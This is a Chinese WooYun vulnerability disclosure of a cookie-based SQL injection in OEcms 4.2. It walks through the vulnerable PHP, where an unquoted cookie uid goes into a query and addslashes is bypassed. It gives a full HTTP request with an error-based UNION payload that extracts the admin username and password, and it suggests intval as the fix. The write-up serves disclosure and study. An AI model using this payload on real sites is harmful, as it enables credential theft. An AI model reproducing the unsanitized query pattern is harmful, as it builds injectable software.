当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082191

漏洞标题:OEcms通用Cookie注入一枚(无视全局过滤)

相关厂商:OECMS

漏洞作者: 路人甲

提交时间:2014-11-07 16:32

修复时间:2015-02-05 16:34

公开时间:2015-02-05 16:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

OEcms通用Cookie注入一枚(无视全局过滤)

详细说明:

前两天发了一个OEcms的漏洞, WooYun: OEcms通用SQL注入一枚(无视全局过滤) ,补充了互联网实例终于通过了,这个漏洞如果还需要互联网实例,就看它吧。
今天再来一个cookie注入。注入点在/source/control/index/buylist.php,而这个是OEcms最新版OEcms4.2在2014-10-08 UPDATE的一个文件,早期的版本中不存在这个问题。版本如下:

版本证明副本.jpg


OEcms首先对用户的各种输入做了全局过滤,/source/core/run.conf.php

无关代码
function daddslashes($string) {
if(!MAGIC_QUOTES_GPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])){
exit('Request tainting attempted.');
}
$_GET = daddslashes($_GET);
$_POST = daddslashes($_POST);
$_COOKIE = daddslashes($_COOKIE);
$_REQUEST = daddslashes($_REQUEST);
$_FILES = daddslashes($_FILES);
$_SERVER = daddslashes($_SERVER);
无关代码


然后在执行sql的时候,很多输入又做了过滤,我没有找到可以绕过’过滤注入的,既然不能绕过,那就不用’了吧,在cookie中找到了个数字型的注入点,无需考虑’的闭合问题了。
先看代码/source/control/index/buylist.php

无关代码
public function control_showlist()
{

$model = parent::model('buylist', 'im');
$var_array = array('buylist' => $model->getList($_COOKIE['uid']));
unset($model);
$this->_tplfile = $this->getTPLFile('buylist');
TPL::assign($var_array);
TPL::display($this->_tplfile);
}
无关代码

可以看到uid的值是由cookie中的uid获得的,然后的执行了getlist()。
再来看看getlist():

public function getList($uid)
{
$sql = 'SELECT v . id as id , v.num as num , v.num * p.oprice as rate, p . * FROM ' .
DB_PREFIX . 'tmpbuy as v' . ' LEFT JOIN ' . DB_PREFIX .
'product as p ON v .pid = p . productid where v.uid=' . $uid;
$data = parent::$obj->getall($sql);
return $data;
}


再来看看getall()

function getall($sql,$iscache=true){
$res = $this->query($sql);
if ($res !== false){
$arr = array();
while ($row = mysql_fetch_assoc($res)){
$arr[] = $row;
}
$this->free_result($res);
}else{
return false;
}
return $arr;
}


没有进行任何形式的过滤,然后就带入sql执行了
虽然进行了全局过滤,但是仅用daddslashes过滤,对于数字型的注入来说,起不到作用,轻松绕过,注入成功。
Payload:

GET /index.php?c=buylist&a=showlist HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=88ff7944laVfYY9BL1FuA%2BbNLMa%2Brd04KKHHyTrxgcY0sufkNR1I4pXCpZqYgYd9Y%2BqfL%2B4XwwN8WETv4bcEbqKo28CQBBbS0iWJDNmoWbq4y1I; PHPSESSID=14aabit7um5hthb76r1qu69442;uid=1 UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(adminname,0x23,password)FROM oecmspre_admin LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a
Connection: keep-alive


正常执行sql语句是这样的

正常sql语句执行情况副本.jpg


执行注入sql语句

注入sql语句执行情况副本.jpg


管理员的用户名和密码出来了

注入证明副本.jpg

漏洞证明:

见 详细说明

修复方案:

intval

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝